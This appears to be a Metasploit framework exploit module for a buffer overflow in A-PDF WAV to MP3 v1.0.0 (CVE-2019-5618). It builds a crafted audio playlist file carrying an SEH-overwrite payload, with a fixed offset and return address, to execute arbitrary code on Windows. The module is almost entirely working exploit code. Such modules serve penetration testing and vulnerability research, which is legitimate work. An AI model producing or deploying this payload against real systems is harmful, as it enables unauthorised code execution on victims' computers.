A-PDF WAV to MP3 v1.0.0 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
          the application is used to import a specially crafted m3u file, a buffer overflow occurs
          allowing arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'd4rk-h4ck3r', # Original Exploit
          'Dr_IDE',      # SEH Exploit
          'dookie'       # MSF Module
        ],
        'References' => [
          [ 'CVE', '2019-5618' ],
          [ 'OSVDB', '67241' ],
          [ 'EDB', '14676' ],
          [ 'EDB', '14681' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 600,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ],	# p/p/r in wavtomp3.exe
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-08-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ]
    )
  end

  def exploit
    sploit = rand_text_alpha_upper(target['Offset'])
    sploit << generate_seh_payload(target.ret)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)
  end
end